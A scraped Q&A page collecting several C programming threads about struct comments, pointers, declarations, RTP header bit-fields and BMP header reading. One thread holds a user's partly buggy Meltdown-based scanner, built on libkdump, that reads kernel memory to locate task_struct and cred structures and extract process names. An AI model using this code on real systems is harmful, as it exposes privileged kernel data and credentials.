I copy this struct
typedef struct SDL_Surface {
Uint32 flags; /* Read-only */
SDL_PixelFormat *format; /* Read-only */
int w, h; /* Read-only */
Uint16 pitch; /* Read-only */
void *pixels; /* Read-write */
SDL_Rect clip_rect; /* Read-only */
8 int refcount; /* Read-mostly */
/* This structure also contains private fields not shown
here */} SDL_Surface;
and tried to comment(wrap) out with /* and */ and beginning and end of the codes but it wouldn't work.
/*
typedef struct SDL_Surface { //only commented out this line
Uint32 flags; /* Read-only */
SDL_PixelFormat *format; /* Read-only */
int w, h; /* Read-only */
Uint16 pitch; /* Read-only */
void *pixels; /* Read-write */
SDL_Rect clip_rect; /* Read-only */
8 int refcount; /* Read-mostly */
/* This structure also contains private fields not shown
here */} SDL_Surface;
*/
Can anyone help me?
Use
#if 0
blah
#endif
to "comment out" large blocks of code like that. It also has the benefit of being nestable.
(The reason /* and */ aren't working is because once inside a comment, the first */ will end it, so /* blah /* explanation */ more */ will end after explanation, not more)
Nesting comments doesn't work, but you can have the preprocessor skip the struct
#if 0
typedef struct SDL_Surface {
Uint32 flags; /* Read-only */
SDL_PixelFormat *format; /* Read-only */
int w, h; /* Read-only */
Uint16 pitch; /* Read-only */
void *pixels; /* Read-write */
SDL_Rect clip_rect; /* Read-only */
8 int refcount; /* Read-mostly */
/* This structure also contains private fields not shown
here */} SDL_Surface;
#endif
Related
I have the 2 structures definition below:
/* Ieee1609Dot2Data */
typedef struct Ieee1609Dot2Data {
Uint8_t protocolVersion;
struct Ieee1609Dot2Content *content;
asn_struct_ctx_t _asn_ctx;
} Ieee1609Dot2Data_t;
/* Ieee1609Dot2Content */
typedef struct Ieee1609Dot2Content {
Ieee1609Dot2Content_PR present;
union Ieee1609Dot2Content_u {
Opaque_t unsecuredData;
struct SignedData *signedData;
EncryptedData_t encryptedData;
Opaque_t signedCertificateRequest;
} choice;
asn_struct_ctx_t _asn_ctx;
} Ieee1609Dot2Content_t;
I want to Initialize the structure Ieee1609Dot2Data with a pointer to structure.
my main function :
int main(int ac, char **av) {
EtsiTs103097Data_t *EtsiTs103097Data; /* Type to encode */
asn_enc_rval_t ec; /* Encoder return value */
/* Encoding Buffer */
uint8_t buffer[128] ={0};
/* Allocate the EtsiTs103097Data */
EtsiTs103097Data = calloc(1, sizeof(EtsiTs103097Data_t)); /* not malloc! */
if(!EtsiTs103097Data) {
printf("Calloc Failed!");
exit(1);
}
uint8_t Msg_to_encode[] = "hello" ;
/* Initialize the EtsiTs103097Data memsbers */
EtsiTs103097Data->protocolVersion = 3;
EtsiTs103097Data->content->choice.unsecuredData.buf=(uint8_t*)Msg_to_encode; /* Runtime error */
...
}
there is a runtime error (Cannot access memory at address 0x8) at the line when I access choic union.
How can I access the union correctly?
EtsiTs103097Data->content is never assigned a value.
I know it is supposed to be used in Kernel Modules.
But if I want to pass a pointer to struct task_struct and read the data (for example process name) from it in user mode with root privileges, will it be possible?
I want to access raw virtual addresses, and hope it will be a struct task_struct structure if not, go further. It will be kind of brute forcing virtual address for task_structs.
Do I have to go through Kernel Headers and import struct definitions manually to read each bytes?
Thanks,
Started to hack my way through Kernel, but it seem it will be a lot of stucts to work with:
struct task_struct {
#ifdef CONFIG_THREAD_INFO_IN_TASK
/*
* For reasons of header soup (see current_thread_info()), this
* must be the first element of task_struct.
*/
struct thread_info thread_info;
#endif
/* -1 unrunnable, 0 runnable, >0 stopped: */
volatile long state;
/*
* This begins the randomizable portion of task_struct. Only
* scheduling-critical items should be added above here.
*/
randomized_struct_fields_start
void *stack;
atomic_t usage;
/* Per task flags (PF_*), defined further below: */
unsigned int flags;
unsigned int ptrace;
#ifdef CONFIG_SMP
struct llist_node wake_entry;
int on_cpu;
#ifdef CONFIG_THREAD_INFO_IN_TASK
/* Current CPU: */
unsigned int cpu;
#endif
unsigned int wakee_flips;
unsigned long wakee_flip_decay_ts;
struct task_struct *last_wakee;
int wake_cpu;
#endif
int on_rq;
int prio;
int static_prio;
int normal_prio;
unsigned int rt_priority;
const struct sched_class *sched_class;
struct sched_entity se;
struct sched_rt_entity rt;
#ifdef CONFIG_CGROUP_SCHED
struct task_group *sched_task_group;
#endif
struct sched_dl_entity dl;
#ifdef CONFIG_PREEMPT_NOTIFIERS
/* List of struct preempt_notifier: */
struct hlist_head preempt_notifiers;
#endif
#ifdef CONFIG_BLK_DEV_IO_TRACE
unsigned int btrace_seq;
#endif
unsigned int policy;
int nr_cpus_allowed;
cpumask_t cpus_allowed;
#ifdef CONFIG_PREEMPT_RCU
int rcu_read_lock_nesting;
union rcu_special rcu_read_unlock_special;
struct list_head rcu_node_entry;
struct rcu_node *rcu_blocked_node;
#endif /* #ifdef CONFIG_PREEMPT_RCU */
#ifdef CONFIG_TASKS_RCU
unsigned long rcu_tasks_nvcsw;
bool rcu_tasks_holdout;
struct list_head rcu_tasks_holdout_list;
int rcu_tasks_idle_cpu;
#endif /* #ifdef CONFIG_TASKS_RCU */
struct sched_info sched_info;
struct list_head tasks;
#ifdef CONFIG_SMP
struct plist_node pushable_tasks;
struct rb_node pushable_dl_tasks;
#endif
struct mm_struct *mm;
struct mm_struct *active_mm;
/* Per-thread vma caching: */
struct vmacache vmacache;
#ifdef SPLIT_RSS_COUNTING
struct task_rss_stat rss_stat;
#endif
int exit_state;
int exit_code;
int exit_signal;
/* The signal sent when the parent dies: */
int pdeath_signal;
/* JOBCTL_*, siglock protected: */
unsigned long jobctl;
/* Used for emulating ABI behavior of previous Linux versions: */
unsigned int personality;
/* Scheduler bits, serialized by scheduler locks: */
unsigned sched_reset_on_fork:1;
unsigned sched_contributes_to_load:1;
unsigned sched_migrated:1;
unsigned sched_remote_wakeup:1;
/* Force alignment to the next boundary: */
unsigned :0;
/* Unserialized, strictly 'current' */
/* Bit to tell LSMs we're in execve(): */
unsigned in_execve:1;
unsigned in_iowait:1;
#ifndef TIF_RESTORE_SIGMASK
unsigned restore_sigmask:1;
#endif
#ifdef CONFIG_MEMCG
unsigned memcg_may_oom:1;
#ifndef CONFIG_SLOB
unsigned memcg_kmem_skip_account:1;
#endif
#endif
#ifdef CONFIG_COMPAT_BRK
unsigned brk_randomized:1;
#endif
#ifdef CONFIG_CGROUPS
/* disallow userland-initiated cgroup migration */
unsigned no_cgroup_migration:1;
#endif
unsigned long atomic_flags; /* Flags requiring atomic access. */
struct restart_block restart_block;
pid_t pid;
pid_t tgid;
#ifdef CONFIG_CC_STACKPROTECTOR
/* Canary value for the -fstack-protector GCC feature: */
unsigned long stack_canary;
#endif
/*
* Pointers to the (original) parent process, youngest child, younger sibling,
* older sibling, respectively. (p->father can be replaced with
* p->real_parent->pid)
*/
/* Real parent process: */
struct task_struct __rcu *real_parent;
/* Recipient of SIGCHLD, wait4() reports: */
struct task_struct __rcu *parent;
/*
* Children/sibling form the list of natural children:
*/
struct list_head children;
struct list_head sibling;
struct task_struct *group_leader;
/*
* 'ptraced' is the list of tasks this task is using ptrace() on.
*
* This includes both natural children and PTRACE_ATTACH targets.
* 'ptrace_entry' is this task's link on the p->parent->ptraced list.
*/
struct list_head ptraced;
struct list_head ptrace_entry;
/* PID/PID hash table linkage. */
struct pid_link pids[PIDTYPE_MAX];
struct list_head thread_group;
struct list_head thread_node;
struct completion *vfork_done;
/* CLONE_CHILD_SETTID: */
int __user *set_child_tid;
/* CLONE_CHILD_CLEARTID: */
int __user *clear_child_tid;
u64 utime;
u64 stime;
#ifdef CONFIG_ARCH_HAS_SCALED_CPUTIME
u64 utimescaled;
u64 stimescaled;
#endif
u64 gtime;
struct prev_cputime prev_cputime;
#ifdef CONFIG_VIRT_CPU_ACCOUNTING_GEN
struct vtime vtime;
#endif
#ifdef CONFIG_NO_HZ_FULL
atomic_t tick_dep_mask;
#endif
/* Context switch counts: */
unsigned long nvcsw;
unsigned long nivcsw;
/* Monotonic time in nsecs: */
u64 start_time;
/* Boot based time in nsecs: */
u64 real_start_time;
/* MM fault and swap info: this can arguably be seen as either mm-specific or thread-specific: */
unsigned long min_flt;
unsigned long maj_flt;
#ifdef CONFIG_POSIX_TIMERS
struct task_cputime cputime_expires;
struct list_head cpu_timers[3];
#endif
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
struct nameidata *nameidata;
#ifdef CONFIG_SYSVIPC
struct sysv_sem sysvsem;
struct sysv_shm sysvshm;
#endif
#ifdef CONFIG_DETECT_HUNG_TASK
unsigned long last_switch_count;
#endif
/* Filesystem information: */
struct fs_struct *fs;
/* Open file information: */
struct files_struct *files;
/* Namespaces: */
struct nsproxy *nsproxy;
/* Signal handlers: */
struct signal_struct *signal;
struct sighand_struct *sighand;
sigset_t blocked;
sigset_t real_blocked;
/* Restored if set_restore_sigmask() was used: */
sigset_t saved_sigmask;
struct sigpending pending;
unsigned long sas_ss_sp;
size_t sas_ss_size;
unsigned int sas_ss_flags;
struct callback_head *task_works;
struct audit_context *audit_context;
#ifdef CONFIG_AUDITSYSCALL
kuid_t loginuid;
unsigned int sessionid;
#endif
struct seccomp seccomp;
/* Thread group tracking: */
u32 parent_exec_id;
u32 self_exec_id;
/* Protection against (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, mempolicy: */
spinlock_t alloc_lock;
/* Protection of the PI data structures: */
raw_spinlock_t pi_lock;
struct wake_q_node wake_q;
#ifdef CONFIG_RT_MUTEXES
/* PI waiters blocked on a rt_mutex held by this task: */
struct rb_root pi_waiters;
struct rb_node *pi_waiters_leftmost;
/* Updated under owner's pi_lock and rq lock */
struct task_struct *pi_top_task;
/* Deadlock detection and priority inheritance handling: */
struct rt_mutex_waiter *pi_blocked_on;
#endif
#ifdef CONFIG_DEBUG_MUTEXES
/* Mutex deadlock detection: */
struct mutex_waiter *blocked_on;
#endif
#ifdef CONFIG_TRACE_IRQFLAGS
unsigned int irq_events;
unsigned long hardirq_enable_ip;
unsigned long hardirq_disable_ip;
unsigned int hardirq_enable_event;
unsigned int hardirq_disable_event;
int hardirqs_enabled;
int hardirq_context;
unsigned long softirq_disable_ip;
unsigned long softirq_enable_ip;
unsigned int softirq_disable_event;
unsigned int softirq_enable_event;
int softirqs_enabled;
int softirq_context;
#endif
#ifdef CONFIG_LOCKDEP
# define MAX_LOCK_DEPTH 48UL
u64 curr_chain_key;
int lockdep_depth;
unsigned int lockdep_recursion;
struct held_lock held_locks[MAX_LOCK_DEPTH];
gfp_t lockdep_reclaim_gfp;
#endif
#ifdef CONFIG_UBSAN
unsigned int in_ubsan;
#endif
/* Journalling filesystem info: */
void *journal_info;
/* Stacked block device info: */
struct bio_list *bio_list;
#ifdef CONFIG_BLOCK
/* Stack plugging: */
struct blk_plug *plug;
#endif
/* VM state: */
struct reclaim_state *reclaim_state;
struct backing_dev_info *backing_dev_info;
struct io_context *io_context;
/* Ptrace state: */
unsigned long ptrace_message;
siginfo_t *last_siginfo;
struct task_io_accounting ioac;
#ifdef CONFIG_TASK_XACCT
/* Accumulated RSS usage: */
u64 acct_rss_mem1;
/* Accumulated virtual memory usage: */
u64 acct_vm_mem1;
/* stime + utime since last update: */
u64 acct_timexpd;
#endif
#ifdef CONFIG_CPUSETS
/* Protected by ->alloc_lock: */
nodemask_t mems_allowed;
/* Seqence number to catch updates: */
seqcount_t mems_allowed_seq;
int cpuset_mem_spread_rotor;
int cpuset_slab_spread_rotor;
#endif
#ifdef CONFIG_CGROUPS
/* Control Group info protected by css_set_lock: */
struct css_set __rcu *cgroups;
/* cg_list protected by css_set_lock and tsk->alloc_lock: */
struct list_head cg_list;
#endif
#ifdef CONFIG_INTEL_RDT
u32 closid;
u32 rmid;
#endif
#ifdef CONFIG_FUTEX
struct robust_list_head __user *robust_list;
#ifdef CONFIG_COMPAT
struct compat_robust_list_head __user *compat_robust_list;
#endif
struct list_head pi_state_list;
struct futex_pi_state *pi_state_cache;
#endif
#ifdef CONFIG_PERF_EVENTS
struct perf_event_context *perf_event_ctxp[perf_nr_task_contexts];
struct mutex perf_event_mutex;
struct list_head perf_event_list;
#endif
#ifdef CONFIG_DEBUG_PREEMPT
unsigned long preempt_disable_ip;
#endif
#ifdef CONFIG_NUMA
/* Protected by alloc_lock: */
struct mempolicy *mempolicy;
short il_prev;
short pref_node_fork;
#endif
#ifdef CONFIG_NUMA_BALANCING
int numa_scan_seq;
unsigned int numa_scan_period;
unsigned int numa_scan_period_max;
int numa_preferred_nid;
unsigned long numa_migrate_retry;
/* Migration stamp: */
u64 node_stamp;
u64 last_task_numa_placement;
u64 last_sum_exec_runtime;
struct callback_head numa_work;
struct list_head numa_entry;
struct numa_group *numa_group;
/*
* numa_faults is an array split into four regions:
* faults_memory, faults_cpu, faults_memory_buffer, faults_cpu_buffer
* in this precise order.
*
* faults_memory: Exponential decaying average of faults on a per-node
* basis. Scheduling placement decisions are made based on these
* counts. The values remain static for the duration of a PTE scan.
* faults_cpu: Track the nodes the process was running on when a NUMA
* hinting fault was incurred.
* faults_memory_buffer and faults_cpu_buffer: Record faults per node
* during the current scan window. When the scan completes, the counts
* in faults_memory and faults_cpu decay and these values are copied.
*/
unsigned long *numa_faults;
unsigned long total_numa_faults;
/*
* numa_faults_locality tracks if faults recorded during the last
* scan window were remote/local or failed to migrate. The task scan
* period is adapted based on the locality of the faults with different
* weights depending on whether they were shared or private faults
*/
unsigned long numa_faults_locality[3];
unsigned long numa_pages_migrated;
#endif /* CONFIG_NUMA_BALANCING */
struct tlbflush_unmap_batch tlb_ubc;
struct rcu_head rcu;
/* Cache last used pipe for splice(): */
struct pipe_inode_info *splice_pipe;
struct page_frag task_frag;
#ifdef CONFIG_TASK_DELAY_ACCT
struct task_delay_info *delays;
#endif
#ifdef CONFIG_FAULT_INJECTION
int make_it_fail;
unsigned int fail_nth;
#endif
/*
* When (nr_dirtied >= nr_dirtied_pause), it's time to call
* balance_dirty_pages() for a dirty throttling pause:
*/
int nr_dirtied;
int nr_dirtied_pause;
/* Start of a write-and-pause period: */
unsigned long dirty_paused_when;
#ifdef CONFIG_LATENCYTOP
int latency_record_count;
struct latency_record latency_record[LT_SAVECOUNT];
#endif
/*
* Time slack values; these are used to round up poll() and
* select() etc timeout values. These are in nanoseconds.
*/
u64 timer_slack_ns;
u64 default_timer_slack_ns;
#ifdef CONFIG_KASAN
unsigned int kasan_depth;
#endif
#ifdef CONFIG_FUNCTION_GRAPH_TRACER
/* Index of current stored address in ret_stack: */
int curr_ret_stack;
/* Stack of return addresses for return function tracing: */
struct ftrace_ret_stack *ret_stack;
/* Timestamp for last schedule: */
unsigned long long ftrace_timestamp;
/*
* Number of functions that haven't been traced
* because of depth overrun:
*/
atomic_t trace_overrun;
/* Pause tracing: */
atomic_t tracing_graph_pause;
#endif
#ifdef CONFIG_TRACING
/* State flags for use by tracers: */
unsigned long trace;
/* Bitmask and counter of trace recursion: */
unsigned long trace_recursion;
#endif /* CONFIG_TRACING */
#ifdef CONFIG_KCOV
/* Coverage collection mode enabled for this task (0 if disabled): */
enum kcov_mode kcov_mode;
/* Size of the kcov_area: */
unsigned int kcov_size;
/* Buffer for coverage collection: */
void *kcov_area;
/* KCOV descriptor wired with this task or NULL: */
struct kcov *kcov;
#endif
#ifdef CONFIG_MEMCG
struct mem_cgroup *memcg_in_oom;
gfp_t memcg_oom_gfp_mask;
int memcg_oom_order;
/* Number of pages to reclaim on returning to userland: */
unsigned int memcg_nr_pages_over_high;
#endif
#ifdef CONFIG_UPROBES
struct uprobe_task *utask;
#endif
#if defined(CONFIG_BCACHE) || defined(CONFIG_BCACHE_MODULE)
unsigned int sequential_io;
unsigned int sequential_io_avg;
#endif
#ifdef CONFIG_DEBUG_ATOMIC_SLEEP
unsigned long task_state_change;
#endif
int pagefault_disabled;
#ifdef CONFIG_MMU
struct task_struct *oom_reaper_list;
#endif
#ifdef CONFIG_VMAP_STACK
struct vm_struct *stack_vm_area;
#endif
#ifdef CONFIG_THREAD_INFO_IN_TASK
/* A live task holds one reference: */
atomic_t stack_refcount;
#endif
#ifdef CONFIG_LIVEPATCH
int patch_state;
#endif
#ifdef CONFIG_SECURITY
/* Used by LSM modules for access restriction: */
void *security;
#endif
/*
* New fields for task_struct should be added above here, so that
* they are included in the randomized portion of task_struct.
*/
randomized_struct_fields_end
/* CPU-specific state of this task: */
struct thread_struct thread;
/*
* WARNING: on x86, 'thread_struct' contains a variable-sized
* structure. It *MUST* be at the end of 'task_struct'.
*
* Do not put anything below here!
*/
};
Update 1:
Starting to write this code, based on this:
https://github.com/jonoberheide/stackjacking/blob/master/stackjack.c
It seems it is possible.
I want to pass input a memory access (via Meltdown):
read_struct_task.c
#include "libkdump.h"
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
size_t phys;
if (argc < 2) {
printf("Usage: %s <physical address> [<direct physical map>]\n", argv[0]);
return 0;
}
phys = strtoull(argv[1], NULL, 0);
libkdump_config_t config;
config = libkdump_get_autoconfig();
if (argc > 2) {
config.physical_offset = strtoull(argv[2], NULL, 0);
}
libkdump_init(config);
size_t vaddr = libkdump_phys_to_virt(phys);
printf("\x1b[32;1m[+]\x1b[0m Physical address : \x1b[33;1m0x%zx\x1b[0m\n", phys);
printf("\x1b[32;1m[+]\x1b[0m Physical offset : \x1b[33;1m0x%zx\x1b[0m\n", config.physical_offset);
printf("\x1b[32;1m[+]\x1b[0m Reading virtual address: \x1b[33;1m0x%zx\x1b[0m\n\n", vaddr);
int i=0;
int value[512];
unsigned long task, cred, cred_ptr, real_cred, real_cred_ptr, val;
unsigned found_cred = 0, uid = getuid();
unsigned long * task_struct;
while (1) {
if(i==511)
{
task = value[0];
printf("[*] Looking for task_struct at %lx\n", vaddr);
task_struct = malloc(sizeof(long) * 0x200);
printf("[*] Reading task_struct...\n");
strncpy(task_struct, value, sizeof(long) * 0x200);
printf("[*] Finding cred struct (grab a coffee)...\n");
cred_ptr = task + 0x80;
for (i = 0; i < 0x200; i++) {
/* Looking for cred */
if(!found_cred) {
cred = task_struct[i];
strncpy(&val, value, 4);
if((int)val == (int)uid) {
strncpy(&val, value, 4);
if((int)val == (int)uid) {
found_cred = 1;
real_cred_ptr = cred_ptr + 4;
printf("[*] cred struct ptr at %lx\n", cred_ptr);
printf("[*] cred struct at %lx\n", cred);
printf("[*] Finding real_cred struct...\n");
continue;
}
}
cred_ptr += sizeof(long);
}
/* Looking for real_cred */
else {
real_cred = task_struct[i];
strncpy(&val, value, 4);
if((int)val == (int)uid) {
strncpy(&val, value, 4);
if((int)val == (int)uid)
break;
}
real_cred_ptr += sizeof(long);
}
}
free(task_struct);
printf("[*] real_cred struct ptr at %lx\n", real_cred_ptr);
printf("[*] real_cred struct at %lx\n", real_cred);
i=0;
}
value[i] = libkdump_read(vaddr);
vaddr++;
i++;
}
libkdump_cleanup();
return 0;
}
Update 2:
I am not that experienced in this area.
Will the task_struct always be 512 bytes ? Kernel 3.2.x, 4.4.x? Do I have to manually calculate it for each Kernel? How?
How to find process name in this structure? Snippet in Update 1: is for cred struct.
Should I better use memcpy() instead of strncpy()?
A code sample would be great.
I guess to debug it I will need to write kernel module that shows me the pointer to task_struct and then verify it with my usermode program, if the values are read correctly.
Thanks!
Update 3:
I think I made a mistake. Long is 4 or 8 bytes. So the task_struck will be 512*4 bytes?
Update 4:
Or so the struct seem to be
size:5760
5760 bytes on Kernel 4.3.5
and the name of the process it the offset +996
Wondering if this is consistent among Kernels.
Update 5:
This should read processname and pid:
#include "libkdump.h"
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
size_t phys;
if (argc < 2) {
printf("Usage: %s <physical address> [<direct physical map>]\n", argv[0]);
return 0;
}
phys = strtoull(argv[1], NULL, 0);
libkdump_config_t config;
config = libkdump_get_autoconfig();
if (argc > 2) {
config.physical_offset = strtoull(argv[2], NULL, 0);
}
libkdump_init(config);
size_t vaddr = libkdump_phys_to_virt(phys);
printf("\x1b[32;1m[+]\x1b[0m Physical address : \x1b[33;1m0x%zx\x1b[0m\n", phys);
printf("\x1b[32;1m[+]\x1b[0m Physical offset : \x1b[33;1m0x%zx\x1b[0m\n", config.physical_offset);
printf("\x1b[32;1m[+]\x1b[0m Reading virtual address: \x1b[33;1m0x%zx\x1b[0m\n\n", vaddr);
char values[5760];
int pid=0;
while (1) {
for(int i=0;i<5760;i++)
{
values[i] = libkdump_read(vaddr);
printf("%c\n",values[i]);
vaddr++;
}
memcpy(&pid,values+768,sizeof(int));
if(strcmp(values+996,"bash")==0)
printf("addr:%p\tstr:%s\tpid:%i\n",vaddr,values+996,pid);
}
libkdump_cleanup();
return 0;
}
typedef struct stage_tag {
pthread_mutex_t mutex; /* Protect data */
pthread_cond_t avail; /* Data available */
pthread_cond_t ready; /* Ready for data */
int data_ready; /* Data present */
long data; /* Data to process */
pthread_t thread; /* Thread for stage */
struct stage_tag *next; /* Next stage */
} stage_t;
typedef struct pipe_tag {
pthread_mutex_t mutex; /* Mutex to protect pipe */
stage_t *head; /* First stage */
stage_t *tail; /* Final stage */
int stages; /* Number of stages */
int active; /* Active data elements */
} pipe_t;
int pipe_create (pipe_t *pipe, int stages)
{
int pipe_index;
stage_t **link = &pipe->head, *new_stage, *stage;
int status;
.....
// The question lies in the method pipe_create. There is a double pointer of type stage_t which has three values... What kind of declaration is this? I am really confused.
A single declaration statement can declare multiple variables whose type are related (in the sense that they differ only by qualification):
T **x, *y, z;
is the same as:
T **x;
T *y;
T z;
A slightly absurd example:
int main(void)
{
int a = 1, * const b = &a, * const * c = &b;
return a + *b + **c;
}
Here you are creating three different variables. one is stage_t ** type link variable and initializing it to &pipe->head. Second is stage_t * type new_stage variable and third is stage_t * type stage variable. Last two variables are uninitialized.
I create UDP packets (insert IP and UDP headers) and send across the UDP socket. I want to add a dummy RTP header to the packet that I create. I created the RTP structure and inserting the RTP header as below:
rtph->cc = 4
rtph->x = 1
rtph->p = 1
rtph->version = 2
rtph->pt = 7
rtph->m = 1
rtph->seq = 0
rtph->ts = random()
rtph->ssrc = 0
When I capture in the wireshasrk I get Unknown RTP Version 3.
Any help is appreciated
If you define your own struct in C for RTP you must take the byte order into account.
typedef struct _RTPHeader
{
//first byte
#if G_BYTE_ORDER == G_LITTLE_ENDIAN
unsigned int CC:4; /* CC field */
unsigned int X:1; /* X field */
unsigned int P:1; /* padding flag */
unsigned int version:2;
#elif G_BYTE_ORDER == G_BIG_ENDIAN
unsigned int version:2;
unsigned int P:1; /* padding flag */
unsigned int X:1; /* X field */
unsigned int CC:4; /* CC field*/
#else
#error "G_BYTE_ORDER should be big or little endian."
#endif
//second byte
#if G_BYTE_ORDER == G_LITTLE_ENDIAN
unsigned int PT:7; /* PT field */
unsigned int M:1; /* M field */
#elif G_BYTE_ORDER == G_BIG_ENDIAN
unsigned int M:1; /* M field */
unsigned int PT:7; /* PT field */
#else
#error "G_BYTE_ORDER should be big or little endian."
#endif
guint16 seq_num; /* length of the recovery */
guint32 TS; /* Timestamp */
guint32 ssrc;
} RTPHeader; //12 bytes
The struct must be 12 bytes long, so you need force the compiler to pack it into a 12bytes long struct and not padding it.
Also I would add a static assert to check at compile time weather the struct really 12 bytes long, so:
#ifdef __WIN32__
#define PACKED
#pragma pack(push,1)
#else
#define PACKED __attribute__ ((__packed__))
#endif
//---------------------- STATIC ASSERT ----------------------------------
//Source: http://www.pixelbeat.org/programming/gcc/static_assert.html
#define ASSERT_CONCAT_(a, b) a##b
#define ASSERT_CONCAT(a, b) ASSERT_CONCAT_(a, b)
/* These can't be used after statements in c89. */
#ifdef __COUNTER__
#define STATIC_ASSERT(e,m) \
;enum { ASSERT_CONCAT(static_assert_, __COUNTER__) = 1/(!!(e)) }
#else
/* This can't be used twice on the same line so ensure if using in headers
* that the headers are not included twice (by wrapping in #ifndef...#endif)
* Note it doesn't cause an issue when used on same line of separate modules
* compiled with gcc -combine -fwhole-program. */
#define STATIC_ASSERT(e,m) \
;enum { ASSERT_CONCAT(assert_line_, __LINE__) = 1/(!!(e)) }
#endif
typedef struct _RTPHeader
{
//first byte
#if G_BYTE_ORDER == G_LITTLE_ENDIAN
unsigned int CC:4; /* CC field */
unsigned int X:1; /* X field */
unsigned int P:1; /* padding flag */
unsigned int version:2;
#elif G_BYTE_ORDER == G_BIG_ENDIAN
unsigned int version:2;
unsigned int P:1; /* padding flag */
unsigned int X:1; /* X field */
unsigned int CC:4; /* CC field*/
#else
#error "G_BYTE_ORDER should be big or little endian."
#endif
//second byte
#if G_BYTE_ORDER == G_LITTLE_ENDIAN
unsigned int PT:7; /* PT field */
unsigned int M:1; /* M field */
#elif G_BYTE_ORDER == G_BIG_ENDIAN
unsigned int M:1; /* M field */
unsigned int PT:7; /* PT field */
#else
#error "G_BYTE_ORDER should be big or little endian."
#endif
guint16 seq_num; /* length of the recovery */
guint32 TS; /* Timestamp */
guint32 ssrc;
} RTPHeader; //12 bytes
STATIC_ASSERT (sizeof (RTPHeader) == 12, "RTPHeader size doesn't seem to be cool.");
#ifdef __WIN32__
#pragma pack(pop)
#undef PACKED
#else
#undef PACKED
#endif
The version number must be 2 and then if you write to the bytes with this struct, like this:
char buffer[1400];
RTPHeader *rtph = (RTPHeader*) buffer;
rtph->version = 2;
then theoretically it would be ok.
I'm trying to take a BMP file and read it in and then perform an operation on the pixels in it to change its color. My problem is that I am having trouble reading in the data from the file into the two BMP header structures. I'm able to read all the data into the first structure fine, but I get a seg fault when reading into the second. As you can see from the code, the first structure, FILEHEADER, is read to and contains all the correct data it should, but the second struc, BMPInfoHeader, is not being read to correctly. Why is this seg fault occuring?
#include <stdio.h>
#include <stdlib.h>
typedef struct
{ unsigned short int Type; /* Magic identifier */
unsigned int Size; /* File size in bytes */
unsigned short int Reserved1, Reserved2;
unsigned int Offset; /* Offset to data (in B) */
} FILEHEADER; /* 14 Bytes */
typedef struct
{ unsigned int Size; /* Header size in bytes */
int Width, Height; /* Width / Height of image */
unsigned short int Planes; /* Number of colour planes */
unsigned short int Bits; /* Bits per pixel */
unsigned int Compression; /* Compression type */
unsigned int ImageSize; /* Image size in bytes */
int xResolution, yResolution;/* Pixels per meter */
unsigned int Colors; /* Number of colors */
unsigned int ImportantColors;/* Important colors */
} BMPInfoHeader; /* 40 Bytes */
typedef struct
{ unsigned char r; /* Red */
unsigned char b; /* Blue */
unsigned char g; /* Green */
} IMAGE;
int main(int argc, char *argv[]) {
FILE *BMPFile;
FILEHEADER BMPFileHeader;
BMPInfoHeader *InfoHeader;
BMPFile=fopen(argv[1],"rb");
unsigned char *BMPimage;
if (BMPFile==NULL) {
printf("\n\nERROR: File not opened properly\n\n");
return -1;
}
fread(&BMPFileHeader,sizeof(unsigned char),14,BMPFile);
fseek(BMPFile,BMPFileHeader.Offset,SEEK_SET);
fread(InfoHeader,sizeof(unsigned char),40,BMPFile);
if (BMPFileHeader.Type != 0x4D42) {
printf("\n\nERROR with fread\n\n");
return -1;
}
return 0;
}
The problem is that the FILEHEADER you've defined is mis-aligned, so the compiler will insert padding between fields. The normal way to read a bmp header is to split off the 2-byte magic number and read it separately:
typedef struct
{
unsigned int Size; /* File size in bytes */
unsigned short int Reserved1, Reserved2;
unsigned int Offset; /* Offset to data (in B) */
} FILEHEADER; /* 12 Bytes */
:
char Magic[2];
FILEHEADER BMPFileHeader;
fread(Magic, 1, 2, BMPFile);
fread(&BMPFileHeader, 1, 12, BMPFile);
This will still have problems if you run it on a big-endian machine due to byte ordering. For full generality, you need to read the file contents as bytes and construct the multibyte values manually.